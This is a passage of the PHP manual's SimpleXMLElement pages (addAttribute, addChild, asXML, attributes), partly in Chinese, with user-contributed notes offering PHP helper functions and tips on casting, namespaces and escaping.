I created a little function to parse the simple XML into a structure which is easier to iterate(I believe anyways) than the simpleXML node structure.

<?php
function parseSimpleXML($xmldata)
    {
        $childNames = array();
        $children = array();

        if( $xmldata->count() !== 0 )
        {
            foreach( $xmldata->children() AS $child )
            {
                $name = $child->getName();

                if( !isset($childNames[$name]) )
                {
                    $childNames[$name] = 0;
                }

                $childNames[$name]++;
                $children[$name][] = $this->parseSimpleXML($child);
            }
        }

        $returndata = new XMLNode();
        if( $xmldata->attributes()->count() > 0 )
        {
            $returndata->{'@attributes'} = new XMLAttribute();
            foreach( $xmldata->attributes() AS $name => $attrib )
            {
                $returndata->{'@attributes'}->{$name} = (string)$attrib;
            }
        }

        if( count($childNames) > 0 )
        {
            foreach( $childNames AS $name => $count )
            {
                if( $count === 1 )
                {
                    $returndata->{$name} = $children[$name][0];
                }
                else
                {
                    $returndata->{$name} = new XMLMultiNode();
                    $counter = 0;
                    foreach( $children[$name] AS $data )
                    {
                        $returndata->{$name}->{$counter} = $data;
                        $counter++;
                    }
                }
            }
        }
        else
        {
            if( (string)$xmldata !== '' )
            {
                $returndata->{'@innerXML'} = (string)$xmldata;
            }
        }
        return $returndata;
    }
?>
ms dot n at 163 dot com 11-Feb-2011 10:50
Adds a new function for SimpleXMLElement class, in order to output HTML code.

<?php
class CeiXML extends SimpleXMLElement{
public function asHTML(){
$ele=dom_import_simplexml($this);
$dom = new DOMDocument('1.0', 'utf-8');
$element=$dom->importNode($ele,true);
$dom->appendChild($element);
return $dom->saveHTML();
}
}
?>
Pavel Musil pavel dot musil at gmail dot com 10-Feb-2011 03:18
Simple recursive function to append XML object into SimpleXMLElement node:

<?php
// root: parent element - SimpleXMLElement instance
// append: XML object from simplexml_load_string

function xml_join($root, $append) {
    if ($append) {
        if (strlen(trim((string) $append))==0) {
            $xml = $root->addChild($append->getName());
            foreach($append->children() as $child) {
                xml_join($xml, $child);
            }
        } else {
            $xml = $root->addChild($append->getName(), (string) $append);
        }
        foreach($append->attributes() as $n => $v) {
            $xml->addAttribute($n, $v);
        }
    }
}

$xml_append = simplexml_load_string('<data><items><item id="1">value</item></items></data>');
$xml_root = new SimpleXMLElement('<result></result>');

$cxml = $xml_root->addChild('clone');
xml_join($cxml, $xml_append->items->item[0]);

print $xml_root->asXML();
?>

Result:
<?xml version="1.0"?>
<result>
    <clone>
        <item id="1">
            value
        </item>
    </clone>
</result>
rmirabelle 08-Nov-2010 09:42
To further previous comments and drive the point home:

What makes SimpleXMLElement tricky to work with is that it feels and behaves like an object, but is actually a system RESOURCE,  (specifically a libxml resource).

That's why you can't store a SimpleXMLElement to $_SESSION or perform straight comparison operations on node values without first casting them to some type of object.  $_SESSION expects to store 'an object' and comparison operators expect to compare 2 'objects' and SimpleXMLElements are not objects.

When you echo or print a node's value, PHP converts the value (a resource) into a string object for you.  It's a time saver for sure, but can fool you into thinking that your SimpleXMLElement is an object.

Hope this helps clarify
joshduck at gmail dot com 28-Sep-2010 05:00
You should cast elements to a float (or even string) if you plan on using them in addition, multiplication, etc. If you don't then PHP will incorrectly treat the node values as an integer.

<?php
$obj = new SimpleXMLElement('<root>
    <a>1.9</a>
    <b>1.9</b>
</root>');

var_dump($obj->a + $obj->b);
var_dump((float)$obj->a + (float)$obj->b);
var_dump((string)$obj->a + (string)$obj->b);
?>

The first line gives: int(2)
The second and third give the expected result: float(3.8)
francs at seznam dot cz 23-Sep-2010 05:28
Be aware when you trying to cast some attribute to boolean.

(boolean)$xml->attributes()->someAtt;

returns TRUE if attribute is array([0] => 0);

use (boolean)(int) instead.
kweij at lsg dot nl 26-Jul-2010 04:47
I'm using SimpleXML for, ofcourse, it's simplicity, however I did wanted to manipulate the xml and combining one SimpleXMLElement with any other, so I wrote this function to add a SimpleXMLElement-child.

<?php
function SimpleXMLElement_append($key, $value) {
    // check class
    if ((get_class($key) == 'SimpleXMLElement') && (get_class($value) == 'SimpleXMLElement')) {
        // check if the value is string value / data
        if (trim((string) $value) == '') {
            // add element and attributes
            $element = $key->addChild($value->getName());
            foreach ($value->attributes() as $attKey => $attValue) {
                $element->addAttribute($attKey, $attValue);
            }
            // add children
            foreach ($value->children() as $child) {
                SimpleXMLElement_append($element, $child);
            }
        } else {
            // set the value of this item
            $element = $key->addChild($value->getName(), trim((string) $value));
        }
    } else {
        // throw an error
        throw new Exception('Wrong type of input parameters, expected SimpleXMLElement');
    }
}
?>

I'd recommend SimpleXMLElement to extend it's addChild() function with the functionalitity above.
cherubangel at gmail dot com 02-Jul-2010 04:28
Note that changing attributes from within a foreach loop, especially namespaced attributes, can be very tricky.

For example, when trying to change the value of an existing xlink:href attribute:
<?php
foreach($xmlelement -> attributes('xlink', true) as $attribute => $attribvalue){
    $attribvalue[0] = 'value'; // Throws an error
    $attribvalue = 'value'; // Does not change your XML
    $xmlelement -> addAttribute($attribute, 'value', 'http://www.w3.org/1999/xlink'); // Adds an attribute, does not change existing one.
    $xmlelement[$attribute] = 'value'; // Adds an attribute, does not change existing one.
}
?>

Instead, you should access the array returned by the attributes() function directly, like this:
<?php
    $xmlelement -> attributes('xlink', true) -> href = 'value'; // Works!
?>
php at keith tyler dot com 19-Feb-2010 06:23
The root node element of your input XML string is not retrievable as a property.

<?php
$xml="<foo>bar</foo>";
$sxe=new SimpleXMLElement($xml);
print $sxe->foo;
?>

prints nothing. You can only get to the root element via the array index method ($sxe[0]).

Also, you may not have two (or more) root elements -- that is apparently not well-formed XML.

<?php
$xml="<foo/><bar/>";
$sxe=new SimpleXMLElement($xml);
?>

throws an exception. A Q&D is to append an arbitraty root node structure to both ends of the input:

<?php
$xml="<foo/><bar/>";
$sxe=new SimpleXMLElement("<z>".$xml."</z>");
?>

Doing this also solves the above problem of root node property accessibility. (It may not work if your XML string includes a declaration.)
triplepoint at gmail dot com 19-Dec-2009 04:19
It's occasionally useful to add an XML processing instruction to a SimpleXMLElement (treating it as if it were a full document).
<?php
class SimpleXMLElement_Plus extends SimpleXMLElement {

    public function addProcessingInstruction( $name, $value )
    {
        // Create a DomElement from this simpleXML object
        $dom_sxe = dom_import_simplexml($this);

        // Create a handle to the owner doc of this xml
        $dom_parent = $dom_sxe->ownerDocument;

        // Find the topmost element of the domDocument
        $xpath = new DOMXPath($dom_parent);
        $first_element = $xpath->evaluate('/*[1]')->item(0);

        // Add the processing instruction before the topmost element
        $pi = $dom_parent->createProcessingInstruction($name, $value);
        $dom_parent->insertBefore($pi, $first_element);
    }
}
?>

For example, if you had a simpleXMLElement_Plus object made out of the xml fragment:
<xml><content /></xml>

And you needed the output to be:
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="xsl/xsl.xsl"?>
<xml><content/></xml>

you could do (using the class above):
<?php
$xml = new SimpleXMLElement_Plus('<xml><content /></xml>');
$xml->addProcessingInstruction('xml-stylesheet', 'type="text/xsl" href="xsl/xsl.xsl"');
echo $xml->asXML();
?>
ivandosreisandrade at gmail dot com 19-Nov-2009 06:55
Hello,

here goes my contribution for those whom are struggling to understand how SimpleXMLElement works.

After some time trying to figure out how this works, I've came up to this small example:

<?php
    $xmlstr = "<?xml version='1.0' ?>\n".
              // optionally you can specify a xml-stylesheet for presenting the results. just uncoment the following line and change the stylesheet name.
              /* "<?xml-stylesheet type='text/xsl' href='xml_style.xsl' ?>\n". */
              "<book></book>";

    // create the SimpleXMLElement object with an empty <book> element
    $xml = new SimpleXMLElement($xmlstr);

    // add some child nodes
    $xml->addChild("title", "Title of my book");
    $xml->addChild("abstract", "My book is about learning to work with SimpleXMLElement");

    // add some more child nodes
    $chapter1 = $xml->addChild("chapter_1");
    // add an attribute to child chapter_1
    $chapter1->addAttribute("chapter_title", "Introduction to my book");

    $chapter2 = $xml->addChild("chapter_2");
    $chapter2->addAttribute("chapter_title", "Development of my book");

    $chapter3 = $xml->addChild("chapter_3");
    $chapter3->addAttribute("chapter_title", "Another chapter of my book");

    $conclusion = $xml->addChild("conclusion", "The ending of my book");

    // insert the header to tell the browser how to read the document
    header("Content-type: text/xml");
    // print the SimpleXMLElement as a XML well-formed string
    echo $xml->asXML();
?>

With this script you can just copy-paste and try to understand how it works.
I hope it can help somebody :)
brett at brettbrewer dot com 27-Oct-2009 04:53
Figuring out how to access the properties of a SimpleXmlElement object was a little tricky for me. In particular, it took a while to discover that I needed to cast my SimpleXmlElement properties to be of type "string" to print them or do comparisons on them. For instance, assuming you already have a string of xml in $xmlstr...

<?php
$sxml= new SimpleXmlElement($xmlstr);

if ((string) $sxml->property== "somevalue") {
    echo (string) $sxml->property;
}
?>
The properties of a SimpleXmlElement object are objects themselves, so you need to put "(string)" before them, which casts their values to a string instead of an object. I assume if you were doing a numeric comparison you'd want to cast to an (int) or something numeric instead.


Adds an attribute to the SimpleXML element

  • ? SimpleXMLElement
  • SimpleXMLElement::addChild ?
  • PHP Manual
  • SimpleXMLElement
  • Adds an attribute to the SimpleXML element

SimpleXMLElement::addAttribute

(PHP 5 >= 5.1.3, PHP 7)

SimpleXMLElement::addAttribute — Adds an attribute to the SimpleXML element

说明

public SimpleXMLElement::addAttribute ( string $name [, string $value [, string $namespace ]] ) : void

Adds an attribute to the SimpleXML element.

参数

name

The name of the attribute to add.

value

The value of the attribute.

namespace

If specified, the namespace to which the attribute belongs.

返回值

没有返回值。

范例

Note:

Listed examples may include example.php, which refers to the XML string found in the first example of the basic usage guide.

Example #1 Add attributes and children to a SimpleXML element

<?php

include 'example.php';

$sxe = new SimpleXMLElement($xmlstr);
$sxe->addAttribute('type', 'documentary');

$movie = $sxe->addChild('movie');
$movie->addChild('title', 'PHP2: More Parser Stories');
$movie->addChild('plot', 'This is all about the people who make it work.');

$characters = $movie->addChild('characters');
$character  = $characters->addChild('character');
$character->addChild('name', 'Mr. Parser');
$character->addChild('actor', 'John Doe');

$rating = $movie->addChild('rating', '5');
$rating->addAttribute('type', 'stars');

echo $sxe->asXML();

?>

以上例程的输出类似于：

<?xml version="1.0" standalone="yes"?>
<movies type="documentary">
 <movie>
  <title>PHP: Behind the Parser</title>
  <characters>
   <character>
    <name>Ms. Coder</name>
    <actor>Onlivia Actora</actor>
   </character>
   <character>
    <name>Mr. Coder</name>
    <actor>El Act&#xD3;r</actor>
   </character>
  </characters>
  <plot>
   So, this language. It's like, a programming language. Or is it a
   scripting language? All is revealed in this thrilling horror spoof
   of a documentary.
  </plot>
  <great-lines>
   <line>PHP solves all my web problems</line>
  </great-lines>
  <rating type="thumbs">7</rating>
  <rating type="stars">5</rating>
 </movie>
 <movie>
  <title>PHP2: More Parser Stories</title>
  <plot>This is all about the people who make it work.</plot>
  <characters>
   <character>
    <name>Mr. Parser</name>
    <actor>John Doe</actor>
   </character>
  </characters>
  <rating type="stars">5</rating>
 </movie>
</movies>

参见

  • SimpleXMLElement::addChild() - Adds a child element to the XML node
  • Basic SimpleXML usage

User Contributed Notes

Patanjali 10-Apr-2016 10:37
You cannot use this to update an existing attribute's value.

Instead, get a DOM version of the SimpleXMLElement and use setAttribute, as per:

$XML = '<element a="aa">Text</element>';
$snode = new simple_xml_element($XML);

$dnode = dom_import_simplexml($snode);
$dnode->setAttribute('a', 'bb');

Resulting XML for the node is:
<element a="bb">Text</element>
p.servus 18-Nov-2011 05:42
If you need an Namespace, you must write a Prefix of the Namespace + the Name of the Attribute ("prefix:name") as the first parameter AND the uri as the third one. (I don't know why?!)

Example code:
<?php
$xml = new SimpleXMLElement("<packagedElement></packagedElement>");
$xml->addAttribute("xmi:type", "uml:Class", "http://schema.omg.org/spec/XMI/2.1");
echo $xml->asXml();
?>

Output:
<packagedElement xmlns:xmi="http://schema.omg.org/spec/XMI/2.1" xmi:type="uml:Class"></packagedElement>
sarlak 07-May-2011 07:49
You can access a node child with his name this way :

<?php
$root = new SimpleXMLElement($filePath);
echo $root->nodeName->attributes;

// It works recursivly so this will work too
echo $root->nodeName->subNodeName->attributes();
?>

But if you want to ADD an attribute to a children you MUST use the children() method to access and modfiy it or it will modify the parent's attributes.

<?php
// Add a subnode
$element->nodeName->addChild('subNodeName', "whatever you want");

// Get the pos in the childrens of the parent node
$lastNodePos = $element->nodeName->count()-1;

// Get the parents node childrens
$nodeChildrens = $element->nodeName->children();

// Add an attribute to the last created
$nodeChildrens[$lastNodePos]->addAttribute('attributeName', "The attribute value);
?>
booleer at yahoo dot it 16-Dec-2010 09:44
If the attribute already exists, addAttribute does nothing.

example:
<?php
$xml_string = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<root>
   <item id="foo">
<root>
XML;

$xml = simplexml_load_string($xml_string);
$xml->item->addAttribute('id', 'bar');
echo $xml->asXML();
?>

The above examples will output:
<?xml version="1.0" encoding="UTF-8"?>
<root>
   <item id="foo">
<root>


Adds a child element to the XML node

  • ? SimpleXMLElement::addAttribute
  • SimpleXMLElement::asXML ?
  • PHP Manual
  • SimpleXMLElement
  • Adds a child element to the XML node

SimpleXMLElement::addChild

(PHP 5 >= 5.1.3, PHP 7)

SimpleXMLElement::addChild — Adds a child element to the XML node

说明

public SimpleXMLElement::addChild ( string $name [, string $value [, string $namespace ]] ) : SimpleXMLElement

Adds a child element to the node and returns a SimpleXMLElement of the child.

参数

name

The name of the child element to add.

value

If specified, the value of the child element.

namespace

If specified, the namespace to which the child element belongs.

返回值

The addChild method returns a SimpleXMLElement object representing the child added to the XML node.

范例

Note:

Listed examples may include example.php, which refers to the XML string found in the first example of the basic usage guide.

Example #1 Add attributes and children to a SimpleXML element

<?php

include 'example.php';

$sxe = new SimpleXMLElement($xmlstr);
$sxe->addAttribute('type', 'documentary');

$movie = $sxe->addChild('movie');
$movie->addChild('title', 'PHP2: More Parser Stories');
$movie->addChild('plot', 'This is all about the people who make it work.');

$characters = $movie->addChild('characters');
$character  = $characters->addChild('character');
$character->addChild('name', 'Mr. Parser');
$character->addChild('actor', 'John Doe');

$rating = $movie->addChild('rating', '5');
$rating->addAttribute('type', 'stars');

echo $sxe->asXML();

?>

以上例程的输出类似于：

<?xml version="1.0" standalone="yes"?>
<movies type="documentary">
 <movie>
  <title>PHP: Behind the Parser</title>
  <characters>
   <character>
    <name>Ms. Coder</name>
    <actor>Onlivia Actora</actor>
   </character>
   <character>
    <name>Mr. Coder</name>
    <actor>El Act&#xD3;r</actor>
   </character>
  </characters>
  <plot>
   So, this language. It's like, a programming language. Or is it a
   scripting language? All is revealed in this thrilling horror spoof
   of a documentary.
  </plot>
  <great-lines>
   <line>PHP solves all my web problems</line>
  </great-lines>
  <rating type="thumbs">7</rating>
  <rating type="stars">5</rating>
 </movie>
 <movie>
  <title>PHP2: More Parser Stories</title>
  <plot>This is all about the people who make it work.</plot>
  <characters>
   <character>
    <name>Mr. Parser</name>
    <actor>John Doe</actor>
   </character>
  </characters>
  <rating type="stars">5</rating>
 </movie>
</movies>

参见

  • SimpleXMLElement::addAttribute() - Adds an attribute to the SimpleXML element
  • Basic SimpleXML usage

User Contributed Notes

nwarap 07-Nov-2017 02:46
Want to continue the ampersand (&) chain problem.

Sometimes, you would want to assign  (=) addChild.
This trick will helps you to do this.

<?php
$webOrders = new SimpleXMLElement('<?xml version="1.0"?><WebOrders></WebOrders>');
$webOrder = $webOrders->addChild('WebOrder');
$product = $webOrder->addChild('Product');
$product[0] = 'T&M';
$product->addAttribute('price', 19.99);
$product->addAttribute('qty', 2);
var_dump($webOrders->asXML());
?>

OUTPUT would be:

<?xml version="1.0" encoding="UTF-8"?>
<WebOrders>
    <WebOrder>
        <Product price="19.99" qty="2">T&amp;M</Product>
    </WebOrder>
</WebOrders>
johninen at gmail dot com 14-Sep-2015 01:27
In the docs for google sitemaps it is required an element for mobile sitemaps that looks like this: <mobile:mobile/>

I used some time to figure out how to make it, but it is quite simple when understood.

$mobile_schema = 'http://www.google.com/schemas/sitemap-mobile/1.0';

//Create root element
$xml_mobile = new SimpleXMLElement('
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:mobile="'.$mobile_schema.'"></urlset>
');

//Add required children
$url_mobile = $xml_b_list_mobile->addChild('url');
$url_mobile->addChild('loc', 'your-mobile-site-url');
$url_mobile->addChild('mobile:mobile', null, $mobile_schema);

For this to work properly the attribute xmlns:mobile must be set in the root node, and then used as namespace(third argument) when creating the mobile:mobile child with null as value.
thallisphp at gmail dot com 07-May-2014 07:35
<?php
class MySimpleXMLElement extends SimpleXMLElement
{
    /**
     * Add SimpleXMLElement code into a SimpleXMLElement
     *
     * @param SimpleXMLElement $append
     */
    public function appendXML($append)
    {
        if ($append) {
            if (strlen(trim((string)$append)) == 0) {
                $xml = $this->addChild($append->getName());
            } else {
                $xml = $this->addChild($append->getName(), (string)$append);
            }

            foreach ($append->children() as $child) {
                $xml->appendXML($child);
            }

            foreach ($append->attributes() as $n => $v) {
                $xml->addAttribute($n, $v);
            }
        }
    }
}
?>
frosty dot z at freesbee dot fr 16-May-2013 02:31
To complete Volker Grabsch's comment, stating :
"Note that although addChild() escapes "<" and ">", it does not escape the ampersand "&"."

To work around that problem, you can use direct property assignment such as :

<?php
$xmlelement->value = 'my value < > &';
// results in <value>my value &lt; &gt; &amp;</value>
?>

instead of doing :

<?php
$xmlelement->addChild('value', 'my value < > &');
// results in <value>my value &lt; &gt; &</value> (invalid XML)
?>

See also: http://stackoverflow.com/questions/552957 (Rationale behind SimpleXMLElement's handling of text values in addChild and addAttribute)

HTH
passerbyxp at gmail dot com 27-Mar-2013 03:59
Be aware that simply because you can <?php $dom->addChild();?> doesn't mean your XML is valid under simple XML itself:

<?php
$dom=simplexml_load_string("<test></test>");
$dom->addChild("3D","1,2,3");
$xml=$dom->asXML();
echo $xml;
/* echos:
<?xml version="1.0"?>
<test><3D>1,2,3</3D></test>
*/

$dom=simplexml_load_string($xml);
/*
generates a whole lots of warnings,
and refuses to create an object.
*/
?>

Same in PHP 5.3 and 5.4
ivan dot kakurov at gmail dot com 13-Jan-2013 04:09
Here's my solution for creating XML from Multidimensional Array.
<?php
//DATA
        $xmlDAta = array(
            array(
                "name"  => "nameVal",
                "value" => "valVal",
                "css"   => "cssVal"
            ),
            array(
                "name"  => "name1Val",
                "value" => "val1Val",
                "css"   => "css1Val"
            ),
            "tname" => array(
                array(
                    "iTname"   => "iTname",
                    "iTname2"  => "iTname1",
                    "iTname2"  => "iTname2",
                    "iTbname3" => array(
                        "iiTbname"  => "tbName",
                        "iiTbname1" => "tbName1",
                    ),
                ),
            ),
            "tdata" => "otheerDAta"
        );

   /**
     * Create XML using string or array
     *
     * @param mixed $data input data
     * @param SimpleXMLElement $xml
     * @param string $child name of first level child
     *
     * @return adding Xml formated data into SimpleXmlElement
     */

function data2XML(array $data, SimpleXMLElement $xml, $child = "items")
    {

        foreach($data as $key => $val) {
            if(is_array($val)) {

                if(is_numeric($key)) {
                    $node  = $xml->addChild($child);
                    $nodes = $node->getName($child);
                } else {

                    $node  = $xml->addChild($key);
                    $nodes = $node->getName($key);
                }

                $node->addChild($nodes, self::data2Xml($val, $node));
            } else {
                $xml->addChild($key, $val);
            }
        }

    }

//Use

        $xml    = new SimpleXMLElement("<root/>");
        Util::data2XML($xmlDAta, $xml, "Items");

?>
jerikojerk 31-Jul-2011 07:32
If you're looking for a way to append children you may be interested in this:

<?php
$x = new SimpleXMLElement('<root name="toplevel"></root>');
$f1 = new SimpleXMLElement('<child pos="1">alpha</child>');
$f2 = new SimpleXMLElement('<child pos="2">beta</child>');
$f3 = new SimpleXMLElement('<child pos="3">gamma</child>');

$x->{$f1->getName()} = $f1;
$x->{$f2->getName()}[] = $f2;
$x->{$f3->getName()}[] = $f3;

echo 'count child=',$x->count(),"\n";
echo $x->asXML();

foreach ( $x->children() as $foo )
{
    var_dump($foo);
}

?>
alex dot feraud at gmail dot com 16-Jun-2011 02:52
Here is a class with more functions for SimpleXMLElement :

<?php
/**
 *
 * Extension for SimpleXMLElement
 * @author Alexandre FERAUD
 *
 */
class ExSimpleXMLElement extends SimpleXMLElement
{
    /**
     * Add CDATA text in a node
     * @param string $cdata_text The CDATA value  to add
     */
  private function addCData($cdata_text)
  {
   $node= dom_import_simplexml($this);
   $no = $node->ownerDocument;
   $node->appendChild($no->createCDATASection($cdata_text));
  }

  /**
   * Create a child with CDATA value
   * @param string $name The name of the child element to add.
   * @param string $cdata_text The CDATA value of the child element.
   */
    public function addChildCData($name,$cdata_text)
    {
        $child = $this->addChild($name);
        $child->addCData($cdata_text);
    }

    /**
     * Add SimpleXMLElement code into a SimpleXMLElement
     * @param SimpleXMLElement $append
     */
    public function appendXML($append)
    {
        if ($append) {
            if (strlen(trim((string) $append))==0) {
                $xml = $this->addChild($append->getName());
                foreach($append->children() as $child) {
                    $xml->appendXML($child);
                }
            } else {
                $xml = $this->addChild($append->getName(), (string) $append);
            }
            foreach($append->attributes() as $n => $v) {
                $xml->addAttribute($n, $v);
            }
        }
    }
}
?>
Volker Grabsch 21-Apr-2011 06:17
Note that although addChild() escapes "<" and ">", it does not escape the ampersand "&".

So addChild() is unsuited to handle user-defined input!

Instead, you will have to replace all "&" with "&amp;" before calling addChild().

Or, use htmlspecialchars() which also replaces other characters, but won't do any harm as addChild() won't replace those again.
felipenmoura at gmail dot com 11-Apr-2011 06:06
This method returns a reference to the specific SimpleXMLElement.
If you use:
<?php
    $xml= new SimpleXMLElement('<root></root>');
    $xml->father['name']= 'Fathers name'; // creates automatically a father tag with attribute name
    $son= $xml->father->addChild('son'); // uses the first father tag
    $son['name']= 'first son';
    $otherSon= $xml->father->addChild('son'); // uses the first father tag but now, in a second son tag
    $otherSon['name']= 'second son';

    echo htmlentities($xml->asXML());
?>

The result will be
<root>
    <father>
        <son name='first son' />
        <son name='second son' />
    </father>
</root>

So, once you change something to the just added child, you are actually accessing the element inside the SimpleXMLElement as a reference.


Return a well-formed XML string based on SimpleXML element

  • ? SimpleXMLElement::addChild
  • SimpleXMLElement::attributes ?
  • PHP Manual
  • SimpleXMLElement
  • Return a well-formed XML string based on SimpleXML element

SimpleXMLElement::asXML

(PHP 5, PHP 7)

SimpleXMLElement::asXML — Return a well-formed XML string based on SimpleXML element

说明

public SimpleXMLElement::asXML ([ string $filename ] ) : mixed

The asXML method formats the parent object's data in XML version 1.0.

参数

filename

If specified, the function writes the data to the file rather than returning it.

返回值

If the filename isn't specified, this function returns a string on success and FALSE on error. If the parameter is specified, it returns TRUE if the file was written successfully and FALSE otherwise.

范例

Example #1 Get XML

<?php
$string = <<<XML
<a>
 <b>
  <c>text</c>
  <c>stuff</c>
 </b>
 <d>
  <c>code</c>
 </d>
</a>
XML;

$xml = new SimpleXMLElement($string);

echo $xml->asXML();

?>

以上例程会输出：

<?xml version="1.0"?>
<a>
 <b>
  <c>text</c>
  <c>stuff</c>
 </b>
 <d>
  <c>code</c>
 </d>
</a>

asXML also works on Xpath results:

Example #2 Using asXML() on SimpleXMLElement::xpath() results

<?php
// Continued from example XML above.

/* Search for <a><b><c> */
$result = $xml->xpath('/a/b/c');

foreach ($result as $node) {
    echo $node->asXML();
}
?>

以上例程会输出：

<c>text</c><c>stuff</c>

参见

  • SimpleXMLElement::__toString() - Returns the string content
  • Basic SimpleXML usage

User Contributed Notes

andreas dot theissen at t-online dot de 27-Oct-2012 12:37
To prevent asXML from encoding vowels unwantedly, simply use an approriate XML header with encoding in advance.

If you do so, asXML will happily leave your vowels (and the header) entirely untouched.

<?php

$xmlstr =
'<?xml version="1.0" encoding="UTF-8"?>
<keys>
  <key lang="en">&lt;Insert&gt;</key>
  <key lang="de">&lt;Einfügen&gt;</key>
</keys>';

$sxe = new SimpleXMLElement($xmlstr);

$output = $sxe->asXML();

?>

$xmlstr and $output are identical now.

The subsequent use of html_entity_decode() (as proposed in the very beginning in another post) has several drawbacks:

1. It is slow
2. It is expensive
3. If there are already encoded arrow brackets or double quotes in your source for instance (as shown in the above example), markup will be broken.
oleg dot pavlin at gmail dot com 10-Jan-2012 04:17
Function asXML decodes special chars like ?, ? and others to &#xE6;, &#xF8;

To get normal output use without quoting:

$xml = html_entity_decode($xml, ENT_NOQUOTES, 'UTF-8');
jcr at di dot uminho dot pt 25-Jan-2011 02:32
Code snippet to load a XML document, increment an attribute and store it again.
My XML looks like:
<?xml version="1.0" encoding="ISO-8859-1"?>
<doctypes counter="16">
    <doctype id="d1">
        <name>Carta</name>
        <acro>CA</acro>
    </doctype>
...
</doctypes>

I want to retrieve the counter attribute, increment it, and store the new document at the end:

<?php
  $document = simplexml_load_file("mydoc.xml");
  $cont = (integer) $document['counter'];
  $document['counter'] = $cont+1;
  $document->asXML("mydoc.xml");
?>


Identifies an element's attributes

  • ? SimpleXMLElement::asXML
  • SimpleXMLElement::children ?
  • PHP Manual
  • SimpleXMLElement
  • Identifies an element's attributes

SimpleXMLElement::attributes

(PHP 5, PHP 7)

SimpleXMLElement::attributes — Identifies an element's attributes

说明

public SimpleXMLElement::attributes ([ string $ns = NULL [, bool $is_prefix = FALSE ]] ) : SimpleXMLElement

This function provides the attributes and values defined within an xml tag.

Note: SimpleXML 建起了一个给大多数方法添加迭代属性的规则。不能通过使用 var_dump() 或任何可检查对象的其它东西来查看。

参数

ns

An optional namespace for the retrieved attributes

is_prefix

Default to FALSE

返回值

Returns a SimpleXMLElement object that can be iterated over to loop through the attributes on the tag.

Returns NULL if called on a SimpleXMLElement object that already represents an attribute and not a tag.

范例

Example #1 Interpret an XML string

<?php
$string = <<<XML
<a>
 <foo name="one" game="lonely">1</foo>
</a>
XML;

$xml = simplexml_load_string($string);
foreach($xml->foo[0]->attributes() as $a => $b) {
    echo $a,'="',$b,"\"\n";
}
?>

以上例程会输出：

name="one"
game="lonely"

参见

  • Basic SimpleXML usage

User Contributed Notes

jurchiks101 at gmail dot com 23-May-2018 12:38
An undocumented way - and, IMO, a hack - of getting an element's value OR attributes
(but not both) without type-casting is to use the function `current()`:

<?php
$xml = new SimpleXMLElement(<<<'XML'
<foo>
    <bar>1</bar>
    <baz name="baz" />
    <qux name="qux">3</qux>
</foo>
XML
);

var_dump([
    'bar' => [
        $xml->bar,
        current($xml->bar),
    ],
    'baz' => [
        $xml->baz->attributes(),
        current($xml->baz->attributes()),
    ],
    'qux' => [
        // won't work here correctly
        $xml->qux,
        current($xml->qux),
        $xml->qux->attributes(),
        current($xml->qux->attributes()),
    ],
]);
?>

Results in the following output (re-formatted to shorten it):
```
array(3) {
  'bar' => array(2) {
    [0] => class SimpleXMLElement#2 (1) {
      public ${0} => string(1) "1"
    }
    [1] => string(1) "1"
  }
  'baz' => array(2) {
    [0] => class SimpleXMLElement#5 (1) {
      public $@attributes => array(1) {
        ...
      }
    }
    [1] => array(1) {
      'name' => string(3) "baz"
    }
  }
  'qux' => array(4) {
    [0] => class SimpleXMLElement#6 (2) {
      public $@attributes => array(1) {
        ...
      }
      public ${0} => string(1) "3"
    }
    [1] => array(1) {
      'name' => string(3) "qux"
    }
    [2] => class SimpleXMLElement#7 (1) {
      public $@attributes => array(1) {
        ...
      }
    }
    [3] => array(1) {
      'name' => string(3) "qux"
    }
  }
}
```

This apparently reads the element as an array and just returns the value of the first property, whether it be the attributes or the value. As seen in the third example, this is unreliable, especially if you're parsing XML from an outside source that may or may not have attributes on an element that you want the value of.

I certainly do NOT advise anyone to use this since it is undocumented and it is just a coincidence that it works, so it might break in the future without prior notice.
andy dot locologic+101 at gmail dot com 14-Aug-2015 10:00
Easiest and safest way to get attributes as an array is to use the iterator_to_array function (see http://php.net/manual/en/function.iterator-to-array.php):

<?php
      $x = new SimpleXMLElement('<div class="myclass" id="myid"/>');
      $attributes = iterator_to_array($x->attributes());
?>
zevnikrok 18-Dec-2014 11:01
If you wish to get attributes as an associative array of key value pairs, you don't need to iterate through them, you can get it with this one liner:

  reset($element->attributes())
webfelipemaia at gmail dot com 07-Sep-2013 05:11
Use attributes to display when it meets certain condition defined attribute / value in xml tags.

Use atributos para exibir quando atende determinada condi??o definida atributo / valor em tags XML.

Consider the following example:
Considere o seguinte exemplo:

(file.xml)

<?xml version="1.0" encoding="UTF-8"?>

<list>
    <item type="Language">
        <name>PHP</name>
        <link>www.php.net</link>
    </item>
    <item type="Database">
        <name>Java</name>
        <link>www.oracle.com/br/technologies/java/?</link>
    </item>
</list>

Checks if the attribute value equals "Language", if equal prints everything that is related to "Language".

Verifica se o valor do atributo é igual a "Language", se for, imprime tudo o que for relativo ao mesmo.

<?php

$xml = simplexml_load_file("file.xml");

foreach($xml->children() as $child) {

        $role = $child->attributes();

        foreach($child as $key => $value) {

            if($role == "Language")
            echo("[".$key ."] ".$value . "<br />");

        }
}
?>

output:
saída:

[name] PHP
[link] www.php.net
adrian at foeder dot de 14-Jun-2013 10:15
in order to get a possibly present xml:space attribute, use the following construct:

<?php
$simpleXmlElement->element->attributes('http://www.w3.org/XML/1998/namespace')->space;
?>

This will, for example, return 'preserve' if set.

Just passing by 'xml' as namespace argument of the attribute() method didn't work out for me. Passing by the complete namespace URI works also if it is not explicitly defined in the underlying XML document.

Also, $simpleXmlElement->getNamespaces() does not return anything of use.
totalwipeout at gmail dot com 08-Nov-2012 05:21
Tip to get a real array of all attributes of a node (not SimpleXML's object acting like an array)

<?php
//- $node is a SimpleXMLElement object

$atts_object = $node->attributes(); //- get all attributes, this is not a real array
$atts_array = (array) $atts_object; //- typecast to an array

//- grab the value of '@attributes' key, which contains the array your after
$atts_array = $atts_array['@attributes'];

var_dump($atts_object); //- outputs object(SimpleXMLElement)[19]
                        //-             public '@attributes' => ...

var_dump($atts_array); //- outputs array (size=11) ...

?>
Hope this helps!
chris at chlab dot ch 23-Mar-2012 10:16
Note that you must provide the namespace if you want to access an attribute of a non-default namespace:

Consider the following example:

<?php
$xml = <<<XML
<?xml version="1.0"?>
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"
